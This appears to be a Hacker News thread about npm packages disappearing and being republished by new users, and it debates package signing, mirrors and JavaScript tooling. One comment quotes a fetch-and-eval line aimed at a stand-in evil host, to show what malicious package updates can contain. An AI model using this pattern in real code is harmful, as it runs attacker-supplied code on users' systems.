Many packages suddenly disappeared
github.com
github.com
Example: https://www.npmjs.com/package/duplexer3 which has 4M monthly downloads just reappeared, published by a fresh npm user. They published another two versions since then, so it's possible they've initially republished unchanged package, but now are messing with the code.
Previously the package belonged to someone else: https://webcache.googleusercontent.com/search?q=cache:oDbrgP...
I'm not saying it's a malicious attempt, but it might be and it very much looks like. Be cautious as you might don't notice if some packages your code is dependent on were republished with a malicious code. It might take some time for NPM to sort this out and restore original packages.
> duplexer3@1.0.1 install /Users/foo/Code/foo/node_modules/duplexer3 > echo "To every thing there is a season, and a time to every purpose under the heaven: A time to be born, and a time to die; a time to plant, and a time to pluck up that which is planted; A time to kill, and a time to heal; a time to break down, and a time to build up; A time to weep, and a time to laugh; a time to mourn, and a time to dance; A time to cast away stones, and a time to gather stones together; a time to embrace, and a time to refrain from embracing; A time to get, and a time to lose; a time to keep, and a time to cast away; A time to rend, and a time to sew; a time to keep silence, and a time to speak; A time to love, and a time to hate; a time of war, and a time of peace. A time to make use of duplexer3, and a time to be without duplexer3."
To every thing there is a season, and a time to every purpose under the heaven: A time to be born, and a time to die; a time to plant, and a time to pluck up that which is planted; A time to kill, and a time to heal; a time to break down, and a time to build up; A time to weep, and a time to laugh; a time to mourn, and a time to dance; A time to cast away stones, and a time to gather stones together; a time to embrace, and a time to refrain from embracing; A time to get, and a time to lose; a time to keep, and a time to cast away; A time to rend, and a time to sew; a time to keep silence, and a time to speak; A time to love, and a time to hate; a time of war, and a time of peace. A time to make use of duplexer3, and a time to be without duplexer3.
IOW, unless it’s the King James, it is likely very much subject to take down notices. Though I’m guessing a malicious troll is much more likely to know The Byrds than they are Old Testament.
Edit: ok nope, Seeger didn’t “write” it for Collins, she’s just another one to cover it. Here they are both doing it if you’re interested: https://youtu.be/fA9e-vWjWpw
long discussion here: https://github.com/node-forward/discussions/issues/29
At least we’ve got most people using https to transfer gems now!
There's new experimental signing in wheels: https://wheel.readthedocs.io/en/stable/#automatically-sign-w...
and the signing defined in PEP: https://www.python.org/dev/peps/pep-0427/#signed-wheel-files
The example in the article has come to light accidentally, but we must seriously ask ourselves how many incidents are currently unidentified.
Besides, you can use Nix for 'normal' development. It is suitable for more things than just a distro package manager.
If you're going to have clients specify a signature anyway, then you don't need to sign packages, you just need strong one way hash function, like SHA-1024 or something. User executes "pkg-mgr install [package name] ae36f862..."
Either way, every tutorial using npm will become invalid.
Granted it wouldn't save those adding a new package to a project the first time, but it would save the bacon of anyone re-running "npm install" in an existing project, for example during a deploy, or when trying to upgrade to a newer version of a given package.
Right, that's the real problem.
also, this is a problem that every package mgmt system faces. they alert on changes on upgrade but there's a requirement at the end user level to verify that at install time, the cert being trusted is the right one.
Given that there's hints, at least, that the problems were caused by some particular developer's actions, I wonder about the security model for package-managed platforms altogether now. If I were a big cybercrime ring, the first thing I'd do would be, get a bunch of thugs together and knock on the front door of a developer of a widely-used package; "help us launch [the sort of attack we're seeing here] or we'll [be very upset with you] with this wrench." Is there a valid defense for a platform whose security relies on the unanimous cooperation of a widely-scattered developer base?
The defense is staged deployment and active users. This obviously depends on the blutness of the malicious code.
If I may assume easily noticed effects of the malicious code: A dev at our place - using java with maven - would update the library, his workstation would get owned. This could have impacts, but if we notice, we'd wipe that workstation, re-image from backup and get in contact with sonatype to kill that version. This version would never touch staging, the last step before prod.
If we don't notice on the workstation, there's a good chance we or our IDS would notice trouble either on our testing servers or our staging servers, since especially staging is similar to prod and subject to load tests similar to prod load. Once we're there, it's back to bug reports with the library and contact with sonatype to handle that version.
If we can't notice the malicious code at all until due to really really smart activation mechanisms... well then we're in NSA conspiracy land again.
What about really dumb activation methods? I.e., a condition that only triggers malicious behavior several months after the date the package was subverted. You don’t have to be the NSA to write that.
What’s scary here is that there are simpleminded attacks that, AFAIK, we don’t know how to defend against.
So stop worrying. Try to catch as much as feasible before prod. Then focus on detecting, alerting and ending the actual incident. If code causes an incident, it't probably measurable and detectable. And even then you won't be able to catch everything. As long as a server has behavior observable from the internet, it could be exfiltrating data.
Cryptolocker on prod is not my primary issue.
Although, I've never considered this in the case of an actual attack. It would make sense to actually fingerprint the entire source tree and record this too somewhere, so when you build it you know you are getting the right thing. Teapot basically defers this to git.
If the developers can't get the hash right then there's not much that can be done.
But your point about pressuring or bribing package authors still stands as a scary issue. Similar things have already happened: for example, Kite quietly buying code-editor plugins from their original authors and then adding code some consider spyware (see https://news.ycombinator.com/item?id=14902630). I believe there were cases where a similar thing happened with some Chrome extensions too...
But it makes sense, other projects might depend on it, so it's archived.
CPAN requires the old author to explicitly transfer or mark it abandoned-and-available-to-new-owner.
For all the things wrong with perl5 (and I love it dearly but have spent enough time I can probably list more things wrong with it than the people who hate it ;) it's always a trifle depressing to watch other ecosystems failing to steal the things we got right.
Modern microwave ovens have all adopted impractical and quirky new UIs, when the old concept of knobs was simple and worked fairly well in the first place.
Since then I have made sure the microwave has two dials, one for time, one for effect.
Then came one with an option button for 80 or 100 degrees (176 or 212, in freedoms). Never knew I needed that, but that just changed my live and I can not do without it. Reason: 80 degrees water is hot enough for my needs and saves time.
Our latest has 3 buttons, with different possiblities, beebs like a maniac when ready (an option which is not unset-able) and can do things I never knew anyone would need (like keeping it at x degrees for y minutes).
I guess it is like evolution: you experiment, keep what works and get rid of all things unfit.
> Once you've yanked all versions of a gem, anyone can push onto that same gem namespace and effectively take it over. This way, we kind of automate the process of taking over old gem namespaces.
EDIT: That would be a massive security problem!
Additionally, you should brush up on your code signing implementations. Had you signed it with a trusted code signing cert, consumers could have verified that you produced the binaries...and not a malicious user. Assuming they didnt have access to the private key material of your code signing key.
https://news.ycombinator.com/item?id=16087079
in the face of this
https://news.ycombinator.com/item?id=14905870
Literally nothing was done for 158 days. You yourself asked:
https://github.com/node-forward/discussions/issues/29#issuec...
"How would package signing prevent people from requesting the wrong package? The malware author could also sign their package."
And here is a perfect example. Someone replaced a legit package with a malicious one. Had the original author signed the package, then then NPM users could have defended against the new malicious author, because the new author's signing key would not be in their truststore.
Unsigned packages leave NPM package users defenseless. I hope that is crystal clear now.
When I was doing pentesting, we had an interesting assignment. Our job was to pop a dev project. Then we'd tell them how to secure themselves.
One of our tactics was to set up fake Github profiles with very similar names, then try to get someone internal to the team to `git clone` and run our code. Boom, remote shell.
We didn't execute the plan. But it was thrown around as an idea.
When a package on npm can disappear, and a new package can appear in its place at a later version, by a different author, and there is no connection between those two people, then you're in a bad situation. Just because no one currently runs attacks like this doesn't mean you'll be safe forever. It's worth getting ahead of this.
I don't know whether package signing is the best solution. Maybe yes, maybe no. But the question is, if a package vanishes, what is the proper action to take?
The solution seems like a rollback. Let us have the latest previous version from the same author, by default. That will fix the builds and not require any heavyweight changes.
But package signing would definitely be nice, if it can be integrated in a lightweight and chaos-free fashion.
Even if the answer is “yes, 1+ packages were hijacked by not-the-original author, but we’re still investigating if there was malware”, tell people immediately. Don’t wait a few days for your investigation and post mortem if it’s possible that some users’ systems have already been compromised.
@seldo, I understand that you don't want to disseminate misleading info, but an abundance of caution seems warranted in this case as my understanding of the incident lines up with what @yashap has said. If we're wrong, straighten us out --- if we're not, please sound an advisory, because this is major.
> We made history! Fastest issue to reach 1000 comments, in just 2 hours.
> cheers everyone, nice chatting with you. 17 away from hitting 1000 btw!
> Is GitHub going to die with the volume of comments?
Kind of disappointed the NPM community is turning github into reddit right now.
http://blog.npmjs.org/post/168978377570/new-package-moniker-...
Other than that, their reaction to similar incidents was to wait for somebdoy on twitter to notify them, ban the responsible users, and hope that it won't happen again. It's still extremely exploitable and there are surely many other novel ways of installing malware using the repository that we haven't even heard of yet. The NPM security team is slow to act and sadly doesn't think ahead. They're responsible for one of the largest software ecosystems in the world, they should step up their game.
I suppose, but I think it's the javascript "nature" ( dynamic typing along with the scripting style of wanting to be a "swiss knife" to solve all problems ). Javascript, like perl and even C, gives you a lot of rope to hang yourself. And like perl and C, javascript initially seems simple and easy and it deceives you into thinking novices know what they are doing.
> and an influx of low skill developers with no diploma.
That's true of all languages though. Plenty of incompetent developers at all levels and all languages. I don't think it's a javascript issue.
While that's potentially true, I do suspect that there's a lot fewer, say, Haskell, Clojure, or Elixir developers than there are for some other languages. Not that they don't exist, but it seems unlikely that you'd cross paths with them.
But I believe there's a difference in the ratio, too, due to the way Haskell, Erlang, Lisp, etc. programmers learn these languages. Basically, they learn the languages not because someone wants them to (eg. Java, C#, etc.) and not because they have to just to be able to do something they want to do (eg. JavaScript, SQL, etc.). Instead, people learn such languages because they themselves want to, which makes them more probable to delve deeper, learn more and acquire more important skills.
Well, that's a conjecture I can't prove and I may be completely wrong on this, it's just what my anecdotal experience suggests.
I think it somewhat comes back to the "Python Paradox": http://www.paulgraham.com/pypar.html
Another part of it is that someone who's incompetent in, e.g. JavaScript, is likely to not make it very far trying to do Clojure. And, again some conjecture, I'd bet that someone who is great at Clojure would write very nice JS.
When I was learning Python back in, 2006 or so, I remember someone stating "You can write Java in any language". This was referring to people who wrote Python code with these huge class hierarchies that inherited from stuff all over the place, when a "Pythonic" solution would have just involved a couple of functions.
Besides, the author seems to misunderstand a great many things about PHP and languages in general. Here's a short rebuttal (also from April 2012): https://blog.ircmaxell.com/2012/04/php-sucks-but-i-like-it.h... that explains some of the misunderstandings.
Some issues might be "fixed" but could they fix the actual *fractal of bad design"?
Isn't it still a mix of c-style, java-style, inconcistent, left associative, horribly broken language it always was?
I always thought the bugs were anecdotal backing of the main point: php is badly designed, non programming language for non programmers, who suffer stockholm syndrome from all php abuse...
Yeah, I'm sure. And so have I. Maybe you should stop reading it to reinforce your prejudice and instead take a look at PHP 7.2?
> non programming language for non programmers, who suffer stockholm syndrome from all php abuse...
Hating PHP is almost like a bad meme. Obviously it's doing something right otherwise it probably wouldn't be as popular as it is. (Same can be said for Javascript, I guess.)
Your personal feelings about the language are pretty much irrelevant. The Fractal of Bad Design article, however, is actually spreading misinformation yet people with an axe to grind keep referencing it because it fits their agenda, hence why I react whenever I see it referenced.
Here are just a couple of examples of where it's flat out wrong and/or completely outdated. There are plenty more.
He's left in things that were fixed long before he published the article — e.g. the new array syntax — but that doesn't stop him from saying stuff like "Despite that this is the language’s only data structure, there is no shortcut syntax for it; array(...) is shortcut syntax. (PHP 5.4 is bringing “literals”, [...].)" Keep in mind, 5.4 was already out when he wrote it...
Not to mention the whole section on "missing features" where he basically enumerates things that most certainly doesn't belong in a language's core but in separate libraries or part of a framework, and — surprise! — those are all available in both libraries, frameworks, extensions, etc.
"There is no threading support whatsoever." pthreads have been stable since 2013: http://pecl.php.net/package/pthreads
---8<---
Whether you like PHP or not, go and read the article PHP: a fractal of bad design. It's well written by someone who really knows the language which is not true for most other articles about this topic. And there are numerous facts why PHP is badly designed on many levels. There is almost no FUD so it is also a great source for someone who wants to learn PHP really well (which is kind of sad).
I am surprised that I am able to live with PHP and even like it. Maybe I am badly designed too so that I am compatible with PHP. I was able to circumvent or mitigate most problems so the language doesn't bother me.
Anyway, there are several topics which are inaccurate or I don't agree with them. Here they are with no context so they probably wouldn't make much sense without reading the original article:
I really would love to ditch web dev and all its myriad tendrils, and go back to native desktop software.
Web stuff on the other hand can die in a fiery death, as far as i am concerned together with mobile stuff they are the source of everything wrong with the desktop today :-P.
Not really sure I understand what you're implying there
Itty bitty company making a social website on a shoestring budget/runway with very few developers? Might just be worth postponing a release a day or two if NPM or GitHub are having issues.
npm is not just their package management tool... the way most people use it, it depends on someone else's package registry/repository to deploy to your own servers.
And github is someone else's source code management tool/server.
As a matter of policy, if I can't have something on my own server (or one my org controls) I don't get to rely on it to deploy/run my application.
So I think I get the parent's comment... it's a really foreign situation, to me, to depend on the availability of stuff like this on servers I (or my org) don't control in order to deploy my application.
I'm sure the people who depend on these things look at me and say "Wait. You have to set up your own package repository and source control before you can deploy instead of using all this nice stuff that's available in the cloud? Seriously?"
"Wait, you're telling me these people need an internet-available Ubuntu mirror to install their development environments?"
"Wait, you're telling me these people need their users to have specific, updated browsers in order to run the deployed software?"
"Wait, you're telling me these people need their users to have a patched, up-to-date operating system in order to run your desktop app?"
"Wait, you're telling me these people just assume users won't switch off their computers before saving changes?"
"Wait, you're telling me these people depend on the power grid being available to deploy?"
"Wait, you're telling me these people assume their users have fast, low-latency internet connections to play their real-time multiplayer game?"
You get the idea.
Fast forward to angular 2, and we're down to two developers who are still for it.
Fast forward to today, I'm down to one angular dev who's still for it, and two of the original three have left for react jobs. Meanwhile, I'm left with a bunch of angular 1 code that needs to be upgraded to angular 2, and a few testing-out-angular-2 projects that are dependency hell.
The only reason I ultimately embraced angular 1 to begin with (above reasons aside), was because it was so opinionated about everything, I could throw it at my weaker developers and say: "just learn the angular way to do it", and there was very little left they could meaningfully screw up. Angular proponents on the team would see it as a point of expertise to teach the "angular way" to more junior devs, and everyone left the day feeling good.
When it comes to Javascript 95% difficulty with writing good maintainable code is ensuring that your team is all writing to a very exact, and consistent quality and style, since there are so many different ways you can write js, and so many potential pitfalls. And if the team all wants to embrace Google's Angular standard, that works for me. Its far easier to be able to point to an ecosystem with an explicit, opinionated way of writing code, than it is to continuously train people on how to write maintainable code otherwise.
But with angular 2, if you haven't been drinking to cool-aid for a while now, it requires so much knowledge just to get running, I can't even have junior devs work on it, without a senior dev who's also an angular fanboy there to make sure everything is set up to begin with. Its absurd. And I'm supposed to sell to the business that we need to migrate all my Angular 1 code to this monstrosity? And then spend time again every 6 months making the necessary upgrades to stay up to date? Get real.
Moving away from SPAs seems like a dream at this point.
Seriously, I REALLY REALLY don't get this hate for Angular 2+
In principle programs shouldn't stop working just because they are old.
Yes, no language completely realize this. But there's a world of difference between C's "it was written only 40 years ago, why did compilers break it?" to Python's "yes, you are expected to review your code every 3 or 4 years", and there is another world of difference to the faster Javascript frameworks that practice "your code is 6 weeks too old, your looser!"
If you’re not pinning versions correctly that’s hardly JS’s fault.
But that’s nothing to do with bad versioning practices and everything to do with product priorities.
Also C versions are have the same issue. Try to build a C11 project with a C89 compiler. Hell I’ve had C89 code not work in clang...
Versions affect everything.
Kidding - but we had exactly the same problem, except with a React app rather than an Angular one just before Christmas.
No joke on with this statement though: every time we have a time-consuming build issue to deal with it comes down to some npm dependency problem. Honestly, if there were a way we could realistically ditch npm (NO! YARN IS NOT ANY BETTER - to preempt that suggestion - it's simply an npm-a-like) I'd happily do so but sadly there isn't.
Not sure why you’re stuck on the number of deps either - as long as they’re small who cares?
I don't use npm or node for anything serious, and i don't really have any knowledge of how NPM works, but this isn't the first time i've read this story of a whole bunch of packages disappearing and everybody's builds breaking. If everything is a house of cards, then why don't i hear the same stories about PyPI or gems or crates?
https://medium.com/message/everything-is-broken-81e5f33a24e1
It might well have been technical. It might well have been managerial. It very likely involved elements of both. But don't you think it's best to save the Monday morning quarterbacking for Monday morning, when all the facts are in?
A quick CVE search pulled up 18 vulnerabilities in RubyGems, including remote code execution.
npm is roughly twice as big as PyPI, RubyGems and crates.io together.
I think the software version of this is: any system with more structure than your program is an over-engineered monstrosity, and any system with less structure than your program is a flakey hack.
I think the (short) answer is "node, npm, and javascript".
The longer answer has something to do with the automatic installation of dependencies, and the common use of shell scripts downloaded directly off the internet and executed using the developer's or sysadmin's user account.
I used to use CPAN all the time. CPAN would check dependencies for you, but if you didn't have them already you'd get a warning and you'd have to install them yourself. It forced you to be aware of what you're installing, and it applied some pressure on CPAN authors to not go too crazy with dependencies (since they were just as annoyed by the installation process as everyone else.)
These days I use NuGet a lot. It does the dependency installation for you, but it asks for permission first. The dialogs could be better about letting you learn about the dependencies before saying they're ok. (In general, NuGet's dialogs could be a lot better about package details.)
CPAN has a setting that force-feeds you dependencies without asking, but I don't think it's on by default. Also, CPAN runs tests by default, which usually takes forever, so users get immediate feedback when packages go dependency-crazy. The modern Perl ecosystem is often stupidly dependency-heavy, but nothing like Node.
Whereas a lot of npm modules are relatively small - some tiny - and have their own dependencies. So a simple "npm install blah" command can result in dozens of packages being installed. Dealing with that manually would, in fairness, be a giant chore.
Now of course there's a discussion to be had about whether thousands of weeny little modules is a good idea or not but, to be honest, that's a religious debate I'd rather steer clear of.
I think CPAN is pretty sweet for variety/wide reach of packages available, but this is flat-out wrong.
CPAN is not a package manager; it is a file sprayer/script runner with a goal of dependency installation. That's perfectly sufficient for a lot of use cases, but to me "package manager" means "program that manages packages of software on my system", not the equivalent of "curl cpan.org/whatever | sh".
CPAN packages can (and do by very common convention) spray files all over the place on the target system. Then, those files are usually not tracked in a central place, so packages can't be uninstalled, packages that clobber other packages' files can't be detected, and "where did this file come from?"-type questions cannot be answered.
Whether CPAN or NPM "force you to be aware of what you're installing" seems like the least significant difference between the tools. When NPM tells you "I installed package 'foo'", it almost always means that the only changes it made to your system were in the "node_modules/foo" folder, global or not. When CPAN tells you "I installed package 'foo'" it means "I ran an install script that might have done anything that someone named 'foo'; hope that script gave you some verbose output and told you everything it was doing! Good luck removing/undoing its changes if you decide you don't want that package!"
There are ways around all of those issues with CPAN, and plenty of tools in Perl distribution utilities to address them, but they are far from universally taken advantage of. CPAN is extremely unlike, and often inferior to, NPM. Imagine if NPM packages did all of their installation logic inside a post-install hook; that's more like a CPAN distribution.
Every other 'these kids and their dependencies' opinion over the left-pad incident was highly subjective.
Other languages and package management systems don't encourage this kind of insanity.
Most of it is plain wrong, though some of it is misapplied frustration to the wrong target.
But again, I guess I shouldn’t expect more from HN.
This is not possible, you ask?
In fact, JS/CSS is the most viable of all the stacks to move forward. Let's use the "advantage" that any JS library/ecosystem die fast and put enough hipster propaganda declaring the ultimate solution.
Is too hard? JS is so bad that fix it is too easy. You only need more than the week it originally take to build it.
Yarn (which is an alternative to npm) uses a global cache [1] on your machine which speeds things up, but probably also protects you from immediate problems in cases like the one currently on progress (because you would probably have a local copy of e.g. require-from-string available).
I don't think "people should stop making and switching to new things" is a fair distillation of the parent comment, as it seemed like they were just expressing frustration at the blistering pace the Javascript community is setting.
Independent teams providing business capabilities through APIs would mostly eliminate the need to keep consistent technologies as long as the interface design follows shared guidelines.
Sure, I suppose devops can mitigate the infrastructure support problem, but overall most companies strongly prefer standardization.
To switch to yarn, I printed out a one-page cheat sheet and taped it to my wall. I’ve had one blunder in the time I’ve used it (misunderstanding what `yarn upgrade` did x_x), but it was easily reverted.
Even in this relatively close case, it's not a zero-overhead transition. There are some changes. There are some new behaviours. You still need to know which things really work exactly the same and where the differences come from even if those differences are only minor. You always need due diligence about whether a new tool is reliable, future-proof, trustworthy, etc. And that's all after finding out about the new tool and deciding this one is actually worth looking into.
Multiply all of that by the absurd degree of over-dependence and over-engineering in the JS ecosystem, and it's entirely fair to question whether the constant nagging overheads are worthwhile.
It’s also laughable that npm is accused of being a hack and yarn is accused of being over-engineered.
> This happens in other languages, just more slowly due to smaller community sizes.
Yeah, my point is that there is a cost for learning learning a new tool; the faster those new tools replace the old ones (instead of someone fixing the old ones), the more you have to pay of that cost.
That's not, in my experience, how it works. Learning your first tool (or language) takes a lot of time. Learning your second is quicker. By the tenth, you're able to learn it by skimming the README and changelog.
It works like this for languages too, at least for me. My first "real" language (aside from QBasic) was C++ and it took me 3-4 years to learn it to an acceptable degree. Last week I learned Groovy in about 4 hours.
It still "adds up", but to a much lower value than you'd think.
Put another way, for a new tool, learning cost is a sum of a) cost of learning idiosyncrasies of that tool, and b) cost of getting familiar with the concepts used by it.
You're talking about b), which is indeed a shared expense. But a), by definition, isn't. And it's always nonzero. And since new tools are usually made to differ from previous ones on purpose ("being opinionated", it's called), even though they fix some minor things, this cost can be meaningful. And, it adds up with every switch you need to do.
Some of it is a normal part of life of a software developer, but JS ecosystem has taken it to ridiculous extremes.
As an example, imagine you're learning Underscore.js for the first time. It's a mind-blowing experience, which takes a lot of time because you have to learn a bunch crazy concepts, like currying, partial application, binding, and others. You also have to learn Underscore-specific idiosyncrasies, like the order of arguments passed to the callback functions and the like - mostly because you are not yet aware which things are important to know and which are just idiosyncrasies.
Now, imagine you know Underscore already and have to learn Lo-dash or Ramda.js. As the concepts remain very similar, you only need to learn a few conventions, which are different in Ramda. But! Even then, you don't have to really learn all of them to use the library effectively. It's enough to keep the diff of the Underscore and Ramda conventions in mind: learning that, for example, the order of arguments passed to callbacks differ is enough; you can then check the correct order in the docs whenever you need. You know where to find that piece of information, you know when it matters and, by extension, when it's not a concern. There is no need to waste time trying to learn trivia: not doing something is always going to be the fastest way of doing it. By your second library, you start to recognize trivia and are able to separate it from informations that matter. Learning prelude.ls afterward is going to take literally 30 minutes of skimming the docs.
This is just an example, but it worked like that for me in many cases. When I switched from SVN to Bazaar, for example, it took quite a bit of time to grok the whole "distributed" thing. When I later switched from Bazaar to Git it took me literally an hour to get up to speed with it, followed by a couple more hours - spaced throughout a week or two - of reading about the more advanced features. Picking up Mercurial after that was more or less automatic.
I guess all of this hinges upon the notion of the level of familiarity. While I was able to use bzr, git and hg, it only took so little time because I consciously chose to ignore their intricacies, which I knew I won't need (or won't need straight away). On the other hand, you can spend months learning a tool if your goal is a total mastery and contributing to its code. But the latter is very rarely something you'd be required to do, most of the time the level of basic proficiency is more than enough. In my experience, the cost of reaching such a level of proficiency becomes smaller as you learn more tools of a particular kind.
That's the reason I disagree with your remark that that cost is "constant". It's not, it's entirely dependent on a person and the knowledge they accumulated so far. Learning Flask may take you a week if you're new to web development in Python, but you could learn it in a single evening if you worked with Bottle already. On a higher level, learning Elixir may take you months, but you could also accomplish it in a week, provided that you already knew Erlang and Scheme well.
So that's it - the cost of learning new tools may be both prohibitive and trivial at the same time, depending on a prior knowledge of a learner. The good thing about the "prior knowledge and experience" is that it keeps growing over time. The amount of knowledge you'll have accumulated in 20 years is going to be vast to the extent that's hard to imagine today. At that point, the probability of any tool being genuinely new to you will hit rock bottom and the average cost of switching to another tool should also become negligible.
To summarize: I believe that learning new tools gets easier and easier with time and experience and - while never really reaching 0 - at some point, the cost becomes so low that it doesn't matter anymore (unless you have to switch really often, of course).
How well did you "learn" Apache Groovy? Just enough to change a small Gradle build file?
And did you already know any Java beforehand? If so, then there's a lot less Groovy that needs learning.
Did you write enough Groovy code to stumble across some of its many gotchas, or did you skim some docs and just learn what Groovy should be?
I'm not sure. I did it because of Jenkins Pipeline DSL; I learned enough to write ~400 loc of a build script from scratch. I was able to de-sugar the DSL and wrap raw APIs with a DSL of my own design (I'd say that I "wrote a couple of helper functions", but the former sounds way cooler...). I did stumble upon some gotchas - the difference between `def` and simple assignment when the target changes, for example.
EDIT: I wonder, is that level of proficiency enough for you to at least drop the scare quotes around "learn"? I feel that putting the quotes there is rather impolite.
> did you skim some docs and just learn what Groovy should be?
As I elaborate on in the comment below, there are different levels of proficiency and I never claimed mastery - just a basic proficiency allowing me to read all of the language constructs and write, as mentioned, a simple script from scratch, with the help of the docs.
> And did you already know any Java beforehand?
Well, a bit, although I didn't work with it professionaly in the last decade. However, knowing Java wouldn't be enough to make learning Groovy that fast - I have another trump card up my sleeve when it comes to learning programming languages. You might be interested in a section of my blog here: https://klibert.pl/articles/programming_langs.html if you want to know what it is. To summarize: I simply did it more than 100 times already.
When I say I've learned (or learnt) a programming language, I mean more than a 4-hour jump start to basic proficiency level. Perhaps I was letting off some steam over the wild claims many programmers make regarding their PL expertise.
Did you know that Jenkins Pipeline cripples Groovy so all its features aren't available, specifically the Collections-based methods that form the basis of many DSL's?
Yes. I've run into some limitations; first because of a Pipeline DSL, and when I ditched it in favor of normal scripting I ran into further problems, like Jenkins disallowing the use of isinstance (due to a global configuration of permissions, apparently - I don't have administrative rights there) and many other parts of the language. It was kind of a pain, actually, because I developed my script locally - mostly inside groovysh - where it all worked beautifully and it mysteriously stopped working once uploaded. A frustrating experience, to say the least.
> over the wild claims many programmers make regarding their PL expertise.
I believe I'm a bit of a special case[1] here, wouldn't you agree? Many of the languages on that list I only learned about, however, many of them I learned, having written several thousand (on the low end) of lines of code in them. It's got to be at least 30, I think? I'd need to count.
Anyway, I argue that such an accumulation causes a qualitative difference in how you learn new languages, allowing for rapid acquisition of further ones. It's like in role-playing games, if you buff your stats high enough you start getting all kinds of bonuses not available otherwise :)
[1] If I'm not and you know of someone with the same hobby, please let me know! I'd be thrilled to talk to such a person!
For example it is cool to have multiple tools doing the same thing is cool because you have the choice to use what fits your need (e.g. different Web Servers).
On the other hand, having multiple competing standards for the same job is just technological cancer and mostly the result of some commercial competition (or the attempt to fix a standard by replacing it).
This is particularly true for package/dependency management, but the attitude is found more broadly.
For what it's worth, the javascript world isn't alone here. Python, with its new Pipfile/pipenv system is on its, what, fifth, sixth? stab at solving package management "once and for all" and it's all truly dire and not something I depend on when I have the choice.
Nix solves pretty much all of these problems and a few more, but I expect it to be a decade or so before people realize it.
I'm not complaining about new things. These aren't new things. They're about a decade behind the curve.
A major reason for the high toolchurn in that ecosystem is how many of those tools are not designed from the ground up, don't quite solve the things they ought to, or solve them in really weird ways (due to the low barrier of entry partly). But that doesn't mean all of it deserves that label.
This is coming from a long time Java programmer who still likes Java and Maven but now might have a new favourite language.
This is made even more impressive by the fact that it is built on the mess that is js. (Again: I'm impressed that it was made in three weeks I just wish a better language had been standardized.)
I wish webpack was on that list.
Webpack though I'm really not sure should be. It's certainly improving, but it's nowhere near the same league as the other ones.
Edit: Ah, I see what you meant :)
Do you also insist that Chrome and Firefox shouldn't exist because IE does the job adequately?
This isn't a standard practice in JS world?
It might not be as standard a practice in the Java world as you think.
(Pet peeve: another product named "Nexus". Please choose original names for your software.)
SURELY you meant on-prem, right?
Packages that are published should be immutable, just like in maven repo case.
Then it happened again not two months after left-pad. And now it happened again.
In my company we take the stable version of the library we want to use and we self-host it. We basically have added a cache that we manage and control what goes into it instead of just trusting a manager. Especially for server-side deployment this is mandatory for security. Things like let's say ffmpeg etc - we never get from random packages but we host them ourselves.
I share your concern. It's a tradeoff: tools that do this are very convenient, and the people who have thought about it have decided in some cases that convenience outweighs the security or stability aspects. And people can make that determination on a case-by-case basis.
"Harvesting credit card numbers and passwords from websites"
https://news.ycombinator.com/item?id=16084575
If you self-host a stable version, you'll have some time to hear about potential problems in a new version before updating it.
Bleeding-edge packages from possibly compromised hosts, or self-hosted old versions with potential bugs, security issues, and hard-to-find documentation.
Pick your poison, unless you're Red Hat and can spend the time to backport security/bug fixes and maintain a knowledge base for your old versions.
There is currently no way for a user to remove their own packages or unpublish packages anymore from the public NPM API ( a change following the `left-pad` incident ).
This leads me to believe this was an internal NPM error. My guess is employee error.
Yeah, it definitely exists: https://docs.npmjs.com/cli/unpublish
A quote from the documentation page you linked:
> With the default registry (registry.npmjs.org), unpublish is only allowed with versions published in the last 24 hours. If you are trying to unpublish a version published longer ago than that, contact support@npmjs.com.
Apparently, someone can remove established packages.
> Beginning at 18:36 GMT today, 106 packages were made unavailable from the registry. 97 of them were restored immediately. Unfortunately, people published over 9 of them, causing delays in the restoration of those 9. We are continuing to clean up the overpublications. All installations that depend on the 106 packages should now be working.
Hard to believe less than a hundred packages cause so many issues. NPM's dependency hierarchy is pretty insane.
Ever heard of glibc?
Relying on npm, Atlassian/GitHub etc really hurts when stuff like this happens. Issues always gets resolved, but cases such as the GitLab incident should be enough to always keep some local copies around.
Install an instance of Sonatype Nexus, create a proxy-repo for npm (and Maven if you also use Java) and that's it.
What, however, won't be caught is Docker (because that crap insists on directly talking to the Dockerhub servers, which is a giant security hole waiting to happen) and PHP composer (because it likes to pull dependencies via git from GH, so no caching there).
You also can require image signing such that if an image is signed by an untrusted party it will fail.
But you can't make dockerd talk to this mirror by default, unless you're running the fossil Redhat fork. That is the problem: if you want to use Docker, you must open up your server to the Internet, and the entire Internet at it as the Docker infrastructure is loadbalanced and there are no guarantees the IPs will stay stable.
The RH fork doesn't let you do mirrors, it let's you change the default registry, this is very different.
Colleagues have been bitten by this - one used OS X 10.11, the other 10.12, and they experienced weird bugs from this. Went away once they kicked out node_modules from git.
- Incredibly slow git operations unless you use the perfect options every time (good luck, new devs).
- Requires either very good discipline about updating just a few packages at a time (good luck when cascading dependencies that are shared at multiple levels of the tree update), or incredibly huge, confusing diffs to read.
- Actually understanding the diffs you read. Packages updated to do things like 'http.get("$evil_website", (r) => eval(r))' are only a tiny fraction of the malicious or dangerous code you'll see in package updates.
Granted, we do depend on bitbucket. However, I am honestly scared to self-host our code. This is a small but old shop, so the entire code base is easily several million dollars worth in man-hours alone. And then again, it's git, so if push comes to shove, we could easily and quickly spin up an internal gitlab instance and push our stuff there to get back up.
Also Maven does not allow you to remove packages once they are pushed, I think that is what he meant by Java being unaffected.
I don't think there is any part of my little software empire that is dependant on code for which I don't have the source or underlying .dll checked into source control.
It's part of your project. You absolutely need a copy of it.
These are building blocks in a normal dev environment, and it would take me massive amounts of time to manage everything on my own.
The local copies are fragile and not as easily shared.
You need to archive them somewhere anyway (to mitigate the issue we're discussing here), so why not keep them in the obvious place?
At some point you have to trust a third party. Even if you run your own hardware, you still depend on power and internet provided by someone else. And unless you are a massive company, time is typically spent much better on other things than hosting your own NPM packages and git repos.
Having a redundant array of independent cloud providers seems the ideal state. This is the most effective way to provide a single source of truth without it becoming a single point of failure.
"
I think npm has been a headache for everyone at some point, which is one of the main reasons I started contributing to Yarn. I think npm has done a lot of good work in the past year to respond to the necessary change, so kudos to them for their work; however, it's nowhere near the rock-solid package manager that we need. If the Javascript ecosystem is to ever be taken seriously, and not as a toy -- it has to have more reliability.
Ergonomically, I currently thing it's ahead of many other package managers because of how simple it is to get running. The number of "gotcha's" after npm install is nothing to shake a stick at, though.
One of the things you can do to get builds that aren't as suspect to npm registry issues is configuring an offline mirror [1].
From the post:
"Repeatable and reliable builds for large JavaScript projects are vital. If your builds depend on dependencies being downloaded from network, this build system is neither repeatable nor reliable.
One of the main advantages of Yarn is that it can install node_modules from files located in file system. We call it “Offline Mirror” because it mirrors the files downloaded from registry during the first build and stores them locally for future builds."
